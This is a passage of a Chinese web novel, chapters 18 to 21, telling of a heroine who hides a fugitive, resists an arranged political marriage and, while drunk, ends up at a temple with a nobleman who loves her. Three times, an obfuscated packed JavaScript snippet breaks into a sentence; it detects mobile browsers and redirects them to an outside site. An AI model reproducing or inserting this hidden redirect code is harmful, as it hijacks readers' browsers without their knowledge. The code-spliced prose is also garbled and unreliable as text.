他们自然不会寻根究底,闻言便说了个人名和地点,若要租赁房子,他恰好认识这么一个牙人,她干这一行几十年了,手上有不少房屋,有需要可以去找她试试试看。 闻赋光谢过媒公,直接就找去了牙人那里。牙人看着还算靠谱,声若洪钟,一张脸上挂着讨喜的笑意,闻赋光找到她表明来意,说自己是周媒公介绍来的。 那牙人很热情:“娘子要租什么样的屋子?尽管说来。小人陈四,愿为娘子效劳。” 既然沈无虞会易容,从今往后,她打算让沈无虞换张容貌生活,这也是为了他自己的安全。另外他还有个妹妹,被何长翊带走后不知所踪,二人商议后决定还是要找回来。那么起码要租个有两间房的小院子。 “要租个带两间房的院子,不用很大,干净整洁些就行了,还要有灶台和水井,另外我这位要租房的亲戚喜欢安静,周围不能太吵闹。” 牙人连连点头,“这些都不难,娘子可要带桌椅床榻的屋子,亦或是自行添置?” “要一应俱全的吧,一定要人少清净些,我这位亲戚十分不喜喧嚣。” “小人明白,明白。我手上这正好有这么一个小院,前头是租给了一位学子,是她租来读书的地方,那是相当僻静,前阵她回乡了,这会刚好空着,小人带娘子看看去?”与陈四的沟通效率很高,她这番毫不拖泥带水的作风大大赢得了闻赋光的好感。 先前她就一直搞不懂,为什么有些中介好像听不懂人话一样,他们可以毫不在乎客户的需求,只顾着输出自己的意思。而在网上看到的图片,等到了实地再对比又简直是两模两样,一连看多少天都挑不到满意的房子。相比之下,陈四这个古人的工作效率简直高得可怕。 闻赋光微微颔首表示同意,十来分钟后,两人坐车来到了陈四说的这个小院。 租房的事很顺利,闻赋光对于价格心里有数。陈四也并没有坑她,价格还算是公道。以她目前手上的钱财,租个几年都不成问题。闻赋光在院子里屋里各转了两圈,觉得不错,当场就押一付三,定了下来。 送走了牙人,闻赋光拿着钥匙回了闻府。当天夜里。趁着夜色昏沉,京城又下着雨,外头几乎没什么人影。闻赋光如法炮制,像那天将沈无虞带回闻府一般,又将他偷偷带进了租来的院子里。这里的生活用品她已经吩咐牙人都准备好了,因此沈无虞过来直接就能住。 他们约定,沈无虞平日里还是低调些生活,装作自己是一个年轻的寡夫,妻主死后自己受到妻家的磋磨,实在过不下去了,因此前来投奔京城的亲戚,这是对外说法;但闻赋光又准备了第二套说辞,万一东窗事发,他的身份就是闻赋光养的外室。毕竟做戏要做全套,若有朝一日她租了个小院,小院里还住着沈无虞的事情被人发现,她也可以推脱是少年娘子们的风流韵事。年轻人喜欢玩些新奇的很正常,大媱对于女子总是会更包容,到时候旁人不过是笑话她几句,应该不会联想到其它的事情。 闻赋光这事儿策划得很周全,这段时间他们也没闲着,沈无虞的小妹沈无瑕还没有着落,闻赋光又暗中跟了何长翊几天。却并没有打探出什么,只知道沈无瑕应当是被卖到了什么地方。闻赋光这些天也装作自己家里要买仆从的样子,去一些人牙子那里打探过,却并没有在那些年龄相仿的小女孩中找到沈无瑕,一时之间有些不得进展。 19. 第 19 章 那日何长翊和苏阚饮酒作乐结束后,苏阚去了厢房,本该被绑在床上的沈无虞却不翼而飞,仿佛人间蒸发一般消失在了众人的世界里,这事着实把她们给纳闷坏了, 可偏偏要追查也无从查起,闻赋光那天没有在屋内留下任何痕迹,夹带着沈无虞走之前,她甚至把窗户都关上了,整间房没遭到任何的破坏,门口侍立的侍从们也不曾听到一丝不对劲的声音。 发生了什么情况?谁也不知道。最后她们只能得出结论,是沈无虞自己挣脱了绳索,悄悄从窗口爬了出去,潜逃了。 查,她们自然要查。这些天闻赋光也在告示栏上看见了有人张贴沈无虞的画像。 闻赋光问过沈无虞,除了她,可还有其他人知道他们母子二人会易容这件事情? 沈无虞称没有。易容是一种极少见的奇技淫巧,有哪些人会这些,往往是要跟官府报备的,由官府登记在册的人方可光明正大使这样的把戏,用以开办演出。可一来他们是在大媱四处游历时习得,并没有通过普通的拜师学艺流程,他们先前在外行走过几年,深知有时候让官府知道了这些并不是什么好事,况且他们不会凭此害人牟利,因此不曾告诉任何人。 这些年来,他们在京城中的生活无非是开医馆,用不着也压根就没有使过,这事连沈无瑕也不知道。 这件事虽然做得仓促,但闻赋光警惕了几天,一切都是那么风平浪静。在一座古老的都城里,一个小小的逃伎惊不起一点涟漪。 沈无虞只是个小人物,她们不会大费周章去寻,等风声过去,恐怕谁也不会再盯着他。闻赋光默默思量着,觉得这一笔买卖是值得的,能为自己的将来增添一份保障也说不定。 至于沈无瑕,她几番去京城几个人牙子那里打探却一无所获,正琢磨沈无瑕会不会是被卖到了外地,天大地大,那或许就再难觅其踪。正想着对策,过了几天,媒公那边传来消息说:肖小郎应了。 因双方不好直接见面,闻赋光托媒公送了件玉连环作为信物,没过几日,又得到了一根木簪作为回礼。那发簪并非用名贵的料子制成,但其上刻着的花纹却相当有趣。 那是一种闻赋光曾经见过的花纹,上大学那几年时,有一位毕业生做了一份与传统文化相关的毕设,这份毕设作品在网络上爆火,其中运用的不少古色古香的花纹重新被人看见,影响了当时各行各业的产品包装设计,闻赋光还去亲自参观过,存了照片下来。 如今竟然在这里又重新看到了它,这还是她第一回在大媱看到与前世相关的东西。而肖从晗是个绣郎,对这些花纹花样的自然熟悉,闻赋光把玩了两下发簪,觉得颇有趣味。 既然婚事说到这一步,那也差不多是定下了,万事俱备,只差最后一关,闻赋光依照约定答谢了媒公,后续的事就要自己去摆平了。 姨母恐怕接受得不会那么容易,闻赋光心里有数。毕竟闻家虽然式微,到底还是做官的人家。要娶一个无权无势,甚至连嫁妆也出不起的平民男子,这对闻姨母来说一定是很难接受的。 但闻姨母毕竟不是她母亲,且大房和二房已经分了家,在闻赋光的婚事上,姨母的意见她固然有参考的义务,但倒不至于当成圣旨那般不可违抗。 因此,闻赋光打算先试探试探姨母的态度。鉴于她与肖从晗之前见过,闻赋光还特意去书坊转了一圈,最后挑中了个一见钟情、非卿不娶的话本故事,决定化用一番。 还不等她行动,下了值刚踏进闻府,就听人通传说姨母唤她过去吃晚饭,闻赋光挑了挑眉,有些意外。 侍从在前面引路,闻赋光慢吞吞地跟在她身后,难得地什么都没想。 闻府祖上阔过,占地甚广,曾经的装饰因逾矩已经被悉数撤下,如今也就是比普通官员的宅子大一些,并没有多么华丽。 一眼望过去,在深秋的寒风之下,草木难免显得有些萧瑟。当初府里划分时,许是预备将来子嗣多了能住下,出于人丁繁茂的愿景,大房和二房各占了数个院子,两房泾渭分明,距离不算很近,要走不少路。 封建时代个人的抗风险能力很差,因此诞生了家族,人们以血缘为纽带居住在一起,相互帮扶。闻赋光之母与姨母是同母的亲姐妹,对多数大媱的女人来说,亲姐妹之子与自己的孩子并没有多大分别,她们完全是一家人。 然而闻家两房之间却很冷淡,对闻赋光来说,那不是一种明面上的排挤和轻视,却像这一路过来路边栽的一排排不知什么品的兰花,让她忍不住狠狠打了几个喷嚏。它们时时刻刻都在提醒她,她才是外来物,她不属于这里。 来了这里几个月,闻赋光与姨母一家同桌吃饭的机会不多,算起来一个月都不到一回,气氛也并没有多么其乐融融。可以说,是她看着姨母一家其乐融融,母慈子孝,妻唱夫随,而自己只是个局外人。 她也曾经探寻过原身和二房的关系为什么丝毫不亲近,一次偷听到姨父跟侍从闲聊才知道,原来从古至今,家庭里的烦恼都差不多,那就是一碗水端不平的事。 当年老太君始终偏爱优秀的长女,而长女即闻赋光之母闻念秋也确实让闻家上下感到骄傲,她生下了闻家的长孙,又在军营里因武艺出众被贵人看重,挑选去了亲卫队,仕途是众人可以预见的一片锦绣灿烂;姨母作为老二,能力平平,一直是更不受关注的那个,在优秀的长姐衬托下,显得暗淡不已。 可天不遂人意,当年边关打仗出了事,全军覆没,闻念秋随其他军士被埋没在了西南之地,再也没有回来。 老太君因此伤心欲绝,重病卧床。她对年幼失母的闻赋光更加怜爱,甚至想过要将家产一分为二,平均分给两房,以补偿孤苦无依的长孙。 闻姨母在闻念秋走之后担起了这个家,她心中长期有股暗暗比较的劲,誓要比长姐做得更好。然而母亲竟然还是偏心侄女,以至于到了罔顾礼法的地步,她虽然不至于因此怨怼重病的母亲,对闻赋光这边到底也是冷淡下来。 不知后来发生了什么,闻赋光只知道结果是家产确实没有平分,姨母得到了她应得的两份。 即使闻老太君遵照了传统,给作为主枝的二房分了双份,在她去世之后,二房对原身也没有再缓和过来,双方始终保持着一定的距离。 那以后多年,原身极少和二房那边亲近,她一个人吃饭,一个人学武,长成了沉默的样子。再之后,她第一次受命去办差,就殒命城外,没有再回来。 * 闻赋光到了正堂,那里已经置了一桌酒菜,姨母抬起酒壶正在斟酒,看上去心情不错。周围没有其他人,她本来还以为是全家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841567|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起吃饭,没想到只有她们单独两人,那恐怕姨母就是要有话要说了。 她踏进堂中,姨母小酌了一口。她们二人之间一向没有太多寒暄的,姨母也没解释为什么姨父和小堂妹不在这,等她行了个礼就放下了酒杯道:“坐吧。” “是。”闻赋光准备先听听姨母为什么事要找她,再决定如何发挥语言的艺术。 姨母却没如她预想的那样直接切入正题,反而和颜悦色道:“你上任五城兵马司副指挥使也有段日子了,近日当差当得如何?可有什么犹豫不决,不知如何处理的事情?” 闻赋光有些疑惑,但还是答道:“同僚们还算和善,只要办好了该做的事,便没人为难我;当差也没什么难事,有些事即使是我经验不足,大家商量着就也能把事办妥了。” 姨母满意地点点头:“这可是娘子为你谋得的差事,这些日子娘子连受天家夸奖,甚得圣心,咱们就算人微言轻,无缘与天家奏对,可也不能拖了娘子的后腿,叫人拿住什么把柄。” 闻赋光无言以对,只得点头称是。同大媱的绝大多数人家一样,闻姨母只负责外头和前院女儿教养的事,其余的都交给其夫郎处置,很少有机会注意生活琐事,因此姨母在关心子侄这方面似乎不太擅长。她干脆不提那些,与闻赋光一个人说,一个人听,两人围绕“如何尽忠”展开了一些不痛不痒的话题,气氛还算平和。 闻赋光奉行多吃菜,多附和,少反驳原则,等着姨母给她派发任务,却半天没接收到叫她去杀人放火的命令,不免有些疑惑,心中默默思索姨母找她吃饭是为了什么,难道是单纯想联络感情? 很快她就推翻了自己的猜测,只听闻姨母说道:“近日一次宴会上,有家郎主与你姨父攀谈,他们两人不过聊了几句,那位郎主就邀你姨父同去上香,你可知为何?” 内宅的男人在想什么,大约是妻主孩子衣服首饰,其他的......“不知。” 闻赋光一向不爱多话,闻姨母笑了笑,终于肯说出实情——有一户人家要为自家□□说亲事,看中了闻赋光,因此约了她姨父,试探一二。 “不知是哪位大人家的爱男?”闻赋光皱了皱眉,十分怀疑。 倒也不是她妄自菲薄,自卑于自身,她觉得她自己挺好的。不仅没有任何不良嗜好,每天上班点卯,下班消费,还为促进大媱的各方面发展做出了一番个人贡献,实在是一个优秀青年。 只是在朝中势力角逐之下,这些当官的个个都是人精,给自家孩子说亲自然是慎之又慎,不会轻易沾染是非的,除非......难道这家有向姜榓靠拢的心思了,说亲是幌子,其实只是投诚的说辞? 念及这些,闻赋光有些抗拒,低着头没说话。 为了完成家族振兴的目标,为了讨好上司,她就要被迫接受一个不知面目的男子,娶了他,以达成某个势力的壮大吗?鉴于她不想在姜榓那里出人头地,成为姜榓手底下更好用的狗,因此她实在看不出这事对她自己有什么好处。 她像是一段红绸,一封密信,一柄刀,即使不愿意在这些事里越陷越深,但作为工具,作为载体,她的意愿并不重要,这里的每个人头上都压着一座大山,她来了这里,就要入乡随俗,遵守这个世界运行的规则,否则等待她的绝不会是什么好结局。 20. 第 20 章 闻姨母以为她是害羞,说到亲事么,少年人总有些不自在的。况且在她看来,闻赋光不过是个初初踏入官场的愣头青,一向是只知道练武的,能有什么自己的主意,因而并未在意:“是翰林侍读崔大人家的□□,今年十五,正是婚嫁的年龄。” 翰林侍读是个从五品官职,负责讲解与传授经典,还常在各级科举考试中担任考官或阅卷官。这个品级在地方上已经很体面,然而京中百官林立,是有些不够看的。但这并不代表这门亲事没有价值,翰林清贵,受到天下读书人推崇和尊敬,对姜榓来说若能将这样的人家纳入麾下,则天然带有统战价值。何况这回还是他们自己送上门来,岂有不要之理? 闻赋光夹了块齑鹅,借着咀嚼的时间思考,姨母既然专门提及,其中必然得利,一定是想要她答应这门婚事的。这么一说,今天这个时间点她反而不好提她对谁“一见钟情”了。 “那又如何会看中了我?”她抱着侥幸的心态问道。 “想来是崔家有人偶然见过你,对你很赏识,这才瞧中你吧。”闻姨母放下了筷箸,轻描淡写道。即使在场的两人都心知肚明,但她依然没提起崔家背后的意味,仿佛她们只是单纯在谈论一桩亲事。 闻赋光不喜欢别人对她说这样的话。从前初入职场时是不懂,她被人像这样随便打发敷衍出门,还会忍不住怀疑这到底是不是她自己的问题,是她自己悟性太差,太笨了才会听不懂人话么?后来听懂了,也很快就醒悟了,因为那些人把话说得再怎么冠冕堂皇,还是会有丝丝缕缕的恶意不慎流露出来,那种自作聪明的狂妄和流淌着恶毒的视线,会将他们的内心出卖得淋漓尽致,真跟着他们走那就中招了。 她低着头轻轻嗤笑出声,笑声在这个安静的书房里令人无法忽视。 闻姨母的视线淡淡扫过她,神色不明,放下了筷子,抬手斟起了酒。 筷子与银质的筷枕敲击碰撞发出清脆的响声,敲击声落进闻赋光心上,她心头一颤。闻姨母并不接招,闻赋光沉吟过后,还是决定问得再清楚明白些:“若看姨母的意思,这门亲事如何呢?” 闻姨母给自己斟满酒,举杯要敬闻赋光,她没有直接回答这个问题,而是答非所问道:“娘子得知此事后,曾说起若婚事能成,她要携你堂弟亲自回门,喝上一杯喜酒。” 作为怀王孙,姜榓至今没有承袭王位,这固然是因为她尚未诞育子嗣,没有继承人就没办法袭爵。然而竞争对手的成功更令人心焦,姜栯早已受封林阳王,也难怪她着急收拢可用之材,为自己增势。 这话比明示还明示,几乎是要按着她的头答应了,闻赋光有些恼怒,没有回敬。桌底下,她悄悄攥紧了拳头,轻轻地摩挲裤腿,企图让自己冷静。面上仍旧不动声色,只做腼腆状:“既然是娘子的眼光,咱们家定然要遵从。只是结亲到底是一辈子的大事,不然先打探打探这位郎君的情况,咱们再做决定?万一有什么不妥的地方,趁着尚未定下来,也好转圜一二。”先想办法拖两天,打探打探情况,说不定她还有救。 闻言,闻姨母冷了脸,眸中闪过一丝不悦的光。在她看来,这是一项不容拒绝的命令,况且她已经将话挑明,合该是闻赋光感恩戴德接受才是,她竟还敢真的挑上了! 不过转念一想,闻姨母便也释然了:她这个侄女,从小就孤僻寡言,言行粗直生硬,一向不会做人情,难免冒犯。况且实在是少年人的心思太好猜了,想当年她年轻时娶夫也是不看门第出身,只看容貌情态的。 那时候母亲说择夫最重要的是家风教养,容貌性情还在其次,总归门第好的人家养出的男儿总是更守礼些。如若正夫不合心意,只把他当作打理家宅的管事便罢了,她大可以成了婚再纳几个可心人,谁也不会拦着她。 她那时不以为然,然而与宋氏长久地做了这些年的妇夫,倒也渐渐尝出了贤夫美侍的好来。只是闻姨母自忖这些感悟只有从岁月中才能品出,她欲教导闻赋光几句,又觉得恐怕会白费口舌,只因世事光靠长辈的经验是说服不了年轻人的,又念及打听来的崔家小郎的情况,便也不与她多争论。 自以为窥得了闻赋光的小心思,她略做斟酌,觉得晚几天定亲也不碍着什么事,便答应道:“二娘,崔家比咱们家还高半品,这门婚事算是门当户对,况且崔家是翰林,她家的男儿教养并不会差,至于容貌如何,过些日子找个由头,让你见他一面,届时自然就知道了。” 闻赋光硬挤出半边微笑以作回应。 好不容易吃完这顿饭,闻赋光婉拒了姨母要派身边人送她回去的提议,打算独自走回院子。 路过池塘边,见今夜月色还算明亮,她忍不住驻足,望着池塘倒影中的那轮弯月,愁绪万千。 心中思绪纷乱纠缠,渐渐编成了一张网,将她的四肢紧紧束缚,动弹不得。像无数个梦里一样,她想要挣扎逃出去,可被网住的手脚使不上力。 如果这真是一场梦,谁能告诉她,她什么时候能醒过来? 虽然受人掣肘,她依然迫切地想要做些什么。眼前一片乱七八糟,倒是正符合她此时的心境,听说日子过得越坏越容易写出好诗,只可惜她不会作诗,没办法青史留名了。这么想着,闻赋光哈哈笑起来,伸手胡乱揪起了草叶子。 这片池塘边长了不少杂草,这会正值深秋,各家都是趁这时节捯饬花园池塘,来年春天好折腾新花样。看样子闻家内宅的这项工作还没开展,照看园子的侍从们因此疏懒,杂草生得茂密高大,一看就是有一阵子没打理过了。 用手揪草不过瘾,闻赋光干脆从身上取出匕首,干起了除草大师的活。 锋利小巧的匕首在偷摸给人划道狠的这方面自然是一流,但在割草这个领域就不如镰刀了,不过她只是割些许杂草,也不算太费力。 绞尽脑汁、计划筹谋的事做多了,干些轻体力活简直是享受。闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843993|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋光蹲在草里,轻轻哼着怪模怪调的歌,沉浸在劳动中,越干越有劲。她卖力地割草,简直把匕首舞出了镰刀的光彩。 很快,有一小片地方被清了出来,干干净净,没有一根杂草。闻赋光酒意上涌,将匕首丢开,忍不住就地躺倒,打了个滚。反正这个时节也没有蚊虫,她就稍微享受一下自己的劳动成果,就一下。 她享受着与土地亲密接触,在这样的厚重面前,一切的迷惘似乎都是被允许,被包容接纳的,一切都是自然发生的。 闻赋光忍不住松懈下来,天上暗沉沉的,没有星星,她闭上了眼,微微有些酣意。原本酒后就燥热,她干活又发了些汗,待热意渐渐过去,被夜风一吹,霎时有些冷了,立刻狠狠打了两个喷嚏。 “扑通!” 似乎有什么体积很小的东西落进了池塘里,发出轻微的声响,被她的双耳捕捉到了。闻赋光感到没来由的一阵心慌:掉出来的,不会是那个……那个东西吧! 她小心翼翼地,手指微微颤抖着摸上了自己的脸——真是大善,眼珠还好端端地待在她的眼眶里。不是她的某个身体零部件,那会是什么呢? 闻赋光扭了扭身子,让自己躺得更平些。她缓缓摸索过全身,仔细检查了一遍:今天不是什么大日子,她照常去点卯上值,穿戴都是普普通通,为了行走方便,也没戴过首饰,只除了那件不好让人看见的玉坠……玉坠还在。 她身上该在的东西都在,那么是什么东西掉进了水里? 闻赋光一个鲤鱼打挺从地上跳起来,毫不犹豫地下了水。 池塘表面的水还只是微凉,再往下就几乎是冰冷了。她没有打捞工具,只是凭本能在池塘里摸索,试图找寻刚刚落水的东西。 池塘里堆积了不少淤泥,夏日残留的荷叶梗、芦苇梗与水草在水塘里交织缠绕,让这场势单力孤的搜寻变得格外困难。 什么都没有。她浮上水面换气,四肢冻得有些发麻,伸手解开贴在脸上头上的枯枝败叶,闻赋光轻轻吐了口气,望着悬在头顶的那轮弯月发呆。 几番搜寻实在无果,她最后还是放弃了,或许落水的只是一粒石子呢?她这样告诉自己,上了岸。 闻府不是她的家,她对此一直有很清晰的认识,这里只是她暂时的栖身之地。而今晚她不想待在这里了,闻赋光没惊动门房,沿着池塘边的小径一路溜到墙角,翻墙出了府。 今日并不是什么节日节庆,而大媱晚上又是有宵禁的,她一个人游荡在大街上很显然不是明智之举。闻赋光干脆施展起轻功,漫无目的地穿梭在房顶上。冰冷的河水没有浇熄她心中团团火焰,她眼中只看得到前方的道路,有水她就绕路,有树她就跳上树干,有墙她就翻......待回过神来,她已经来到了一座建筑前。 闻赋光抬头看着熟悉的五彩琉璃顶,她应该对此地印象深刻的,这是她穿来大媱的第一个晚上所居之地,妘祖庙。 21. 第 21 章 有句老话说得好,来都来了,不如进来拜拜。她闪身绕到庙后,一如当时的情形翻上了墙。 一别多日,妘祖庙中并没有什么变化,夜晚冷寂,似乎还是没人值守。 闻赋光拍了拍灰,环视一周后轻轻跳下了墙头。四周依旧无人,静谧一片,连她不小心踢走石子的声音都显得无比清晰。庙中的小道依然四通八达,这次她更分不清它们了,好不容易才找到了正殿。 殿中央的神像一如既往的温和慈爱,殿外的古树绿了又黄,黄了又绿,而她始终立在殿中接受着人们的供奉,注视着人间的悲欢喜乐,看日升月落,万物更迭。 旧地重游,她自己却还是一身狼狈,没什么长进。非要说的话,上回身上是血迹,好歹这回只是水了。 脸上有些发烫,闻赋光摸了摸衣服,已经不滴水了,但也还没干,或许还带着池塘里的泥,头发湿漉漉地贴在身上,她随意拢了一把,低头望着自己这副尊容,低笑了一声。 “哈。”好像有点失礼,希望妘祖娘娘不要介意。 案桌上摆了些线香,那是庙中特意准备的,其所需资财有大信徒捐助,只要是诚心朝拜的信徒都可取用。闻赋光上前数了几根,小心地抽出,将其一端对上了旁边点燃的烛火中。 她今日先是喝得有些醉,接着下了趟水,又一路从闻府狂奔出来直至城外庙中,体力消耗不少,竟然有些手抖,对了半天也没能点着手中这几根香。 好在身边传来一阵衣料摩挲的动静,接着就有一只莹润修长的手伸过来,帮她稳住了手中的香。 终于,手中的线香上冒了丝丝缕缕青烟出来。闻赋光松了口气,双手执香,拜了三拜,将线香插进了香炉里。 不知道这里的拜神流程是什么样的,闻赋光尽力发挥仅剩的理智去思考,只欠身鞠躬够吗? 反正地上有蒲团,她再磕几个头吧,希望这位神仙有空多多保佑她,礼多人不怪嘛。 磕第一个头,她觉得尚可。 磕第二个头,她有点晕了。 磕第三个头,头抵在地上,有点起不来了。 好想顺势歪倒躺下......而她也确实是这么干的。 一身紧绷的骨头肌肉放松下来,闻赋光惬意地喟叹:躺下好舒服。 不过很快她就被扶起来了,差点陷入昏沉的意识被强行唤醒,闻赋光睁开迷蒙的双眼,眼神花了两秒重新聚焦,意识也重回人间。 噢,殿里除了她自己,好像还有其他人在。 她终于意识到了这一点,接着对上了一双很好看的眼。那双眼里盛满了很多情绪,可她现在无心去分辨,只好忽略。 她听见那双眼睛的主人对她说话:“你怎么了?” 闻赋光坐在地上发愣,那人蹲在她面前,两人膝盖相触,他毫不在意洇上的水渍,只是握着她的胳膊晃晃她,企图让她回神。 她现在很好,没什么需要问候的。闻赋光没有回答,而是借着眼前人的力道起身,站定后顺手就摸了把他光滑柔嫩的小脸。 她心底有个蠢蠢欲动的声音,从见到他起就一直在撺掇她叫嚣着要摸一把,她这不过是顺从本心而已。 手感颇佳,闻赋光满意地冲他一笑。 被她冰凉的手突然袭击,姜栀棠有些无奈,却还是顺从地没有躲开,任由她摸完还捏了两下。 闻赋光一向有个蹬鼻子上脸的好处,她此刻玩心大起,见他不反抗,一副很好欺负的样子,干脆双手捏住他的脸颊,挤出各种表情来。 “嘿嘿!” 他的皮肤很白,她又没有刻意收着手劲,此时在殿中灯火映照下,已经可以看到他脸上出现了几道印子。 不会找她赔钱吧?闻赋光见闯了祸,吓一跳,想要补救却无法,无辜地笑笑,上嘴啃了一口。 这样就没有手指印了! “你身上衣服都湿了,随我回房去换下来,一会再玩,好吗?” 姜栀棠一早看出她的状态不太寻常,故而没有惊动。 他先注意到她一身水气,凑得近了,才闻到淡淡的酒气,原来她是喝醉了,只不知道为什么会出现在城外庙中,看样子简直是是去河里游了一遭出城来的。 姜栀棠心中发酸,暗恨她身边无人照顾。便强压下如擂鼓般的心跳,顶着脸上的牙印,故作镇定,轻声哄她去房中把湿衣服换下来。 闻赋光暂时不认识他,但被大美人温柔殷勤的态度哄美了,还是乐呵呵地跟着他走了。 姜栀棠拉着她的手,往厢房中走去。他宽大的袖垂下来,掩住了两人紧紧相扣的十指,但这时候任谁来都看得出这两人的端倪。 他转头看看闻赋光,她神色平和一如平常,面上看不出任何异常,却被一举一动却出卖了此时醉酒的状态。 姜栀棠既期盼快些回到房中,又止不住盼望这条携手之路更长些。 可这条路终究是要走到尽头的,他的院落前灯火通明,已有几名侍男立在院门口等候。 见这位一向端庄得体的郡君不顾礼仪体统与自己尚未出嫁的身份,大半夜与一名陌生女子手拉手回到院中,神色还十分镇定自若,用坊间话说就是不要脸面,饶是跟在姜栀棠身边多年的随从们也不可避免地露出了异样,只有早先隐约知道些内情的墨舒,在些许讶异后很快调整好了表情,恢复了平静。 姜栀棠无视他们惊异惶恐的眼神,淡淡地吩咐:“去准备沐浴之物,再准备一套衣服,动作快些。” 墨舒应下:“是。”主子虽然没有吩咐,但他却要主动领会其意,在场的这些人最重要的是一定要管住自己的嘴,他必须做好舆情管理工作。 他一直恭敬地低着头,闻赋光心说她好像在哪见过这人,伸着脖子凑过去要细看,和她拉着小手那人却轻轻发力,带着她往屋里走了。 闻赋光有些不满,她还尚未看清,这个人怎么这么小气,让她看看又如何呢?然而还没来得及发作,她已经被拉进了屋,很快就不得不将这个小插曲抛之脑后了。 冬风穿过廊下,姜栀棠加快脚步拉着闻赋光进了屋,身后侍男随即将门关上将寒意阻隔在外。 他们身处庙中,所住厢房还是数月前那间,这已经是庙中最好的院落,虽然并没有多大,安置得却很舒适,此时屋里正烧着炭盆。 闻赋光在外冻久了有些麻木,进了屋才觉得身上冷,身上的衣服原本已经冻得有些发硬,这会又开始返潮,她打了个寒颤,一把甩开姜栀棠,颤抖着动手脱起了衣服。 见她半天解不开扣子,烦躁得要直接扯开,姜栀棠上前帮忙,却在她胸口见到了一个熟悉的玉坠。 姜栀棠细细端详着它,心中有些欢喜:她拿走了他的玉坠,日日贴身戴着吗?他拉过一旁架子上的披风将她裹住,心中连日的焦虑不安在那双眼眸的注视下被抚平。 她心里有他,是喜欢他的,他要冷静,要体面,不能像那些上不了台面的人一样。 熏笼旁置了个摇椅,姜栀棠带她到椅子上坐下,趁着侍男们准备东西的时间烤烤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871997|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火。 他一直没有放开手,闻赋光被他暖融融的手拉着走了一路,依然冰冷不见回温。姜栀棠干脆单膝跪下,拉着她的手往熏笼上探去。 或许是潜意识中对姜栀棠有了几分信任,闻赋光没有挣扎,一直很配合他的动作,任由二人烤火时两手都十指相扣,紧紧不分离。 闻赋光坐着烤火,姜栀棠半跪在她面前,拉着她的手,袖子顺着小臂滑落下来,露出了手腕上戴着的一对镯子。 那镯子剔透得像清澈见底的湖水般,透出了底下皮肤的莹润,其上更有飘花如漫卷流云,鲜活灵动,更可贵的是这样的镯子不止一个,而是一对。 闻赋光瞥见雪腕配翠镯,顿时移不开眼了。 姜栀棠一直抬头望着她,见她视线逐渐锁定在自己手腕上,便猜出了她的心思,冲她微微一笑,松开手利落地将对镯褪下,戴到了她手上。 这是一对世间顶级的翠镯,一向是可遇不可得,便是宫中高位侍君也未必能随意拿出这样一对镯子。姜栀棠却毫不在意地将它送出去,仅用以讨眼前之人的一点欢心。 只可惜,闻赋光此时的智商不足以领会这样的好意,她得了镯子,还是直勾勾地盯着他的手腕,眼神都不曾动过半分。 姜栀棠有些不明所以,闻赋光伸手把他的手臂摆回举着的姿态,把袖子拨上去,再一次看着袖子缓缓滑落下来,露出一片白皙。她的眼睛始终紧紧盯着那截皓腕,一次又一次,乐此不疲。 她玩得开心,姜栀棠却突然有些口干舌燥,狼狈起身想去倒杯凉茶。 见他转身要走,闻赋光依依不舍,身体比大脑更快作出反应,猛地起身拉住了他的手,因为着急还没掌控好力道,用力有些过猛,将他扯得转了个身,扑到了她身上。 两人齐齐跌入了摇椅,四目相对间,闻赋光突然又闻到了那股甜蜜的气味。 摇椅上铺得足够柔软厚实,倒不必担心摔疼。这一下摔得够巧,闻赋光恰好以一个舒适的姿势躺在了摇椅上,她扭了扭,干脆拥他在怀,不动了。 姜栀棠今晚并没料到会在城外庙中见到闻赋光,因而不曾上妆。两人靠得太近了,鼻尖几乎要碰到一起,他有些羞赧于自身毫无修饰的面容,神情多了几分闪躲,如春水般清艳的眼眸在摇曳的烛光下看得令人心醉。 对醉鬼的杀伤力也丝毫不减。 闻赋光的一只手还拉着他,此时正被他一起压在身下。她艰难地抽出另一只手,触了触那片不点而红的唇,是很柔软的触感,闻赋光凭本能行事,当即想咬。 摇椅有些微晃,不好使力,但姜栀棠还是仅靠一只手臂缓缓撑起身子,不让她轻易如愿。 闻赋光像追逐肉骨头的小狗一样吸吸鼻子,有些委屈。姜栀棠一顿,还是没有退步,盯着她的眼睛问:“我是谁?” “*&%@。”她似是听明白了他在问什么,口中吐出几个难辨的音节。 “......什么?” “司......凌思......”闻赋光不耐烦地又重复了一遍,随后以为终于可以得到奖励,轻笑一声,一口啃了上去。 姜栀棠没来得及闪躲,他完全没料到会听到这样一个陌生的名字,多种复杂的情绪一起涌上心头,烧得他心里发疼,以至于被她得逞。 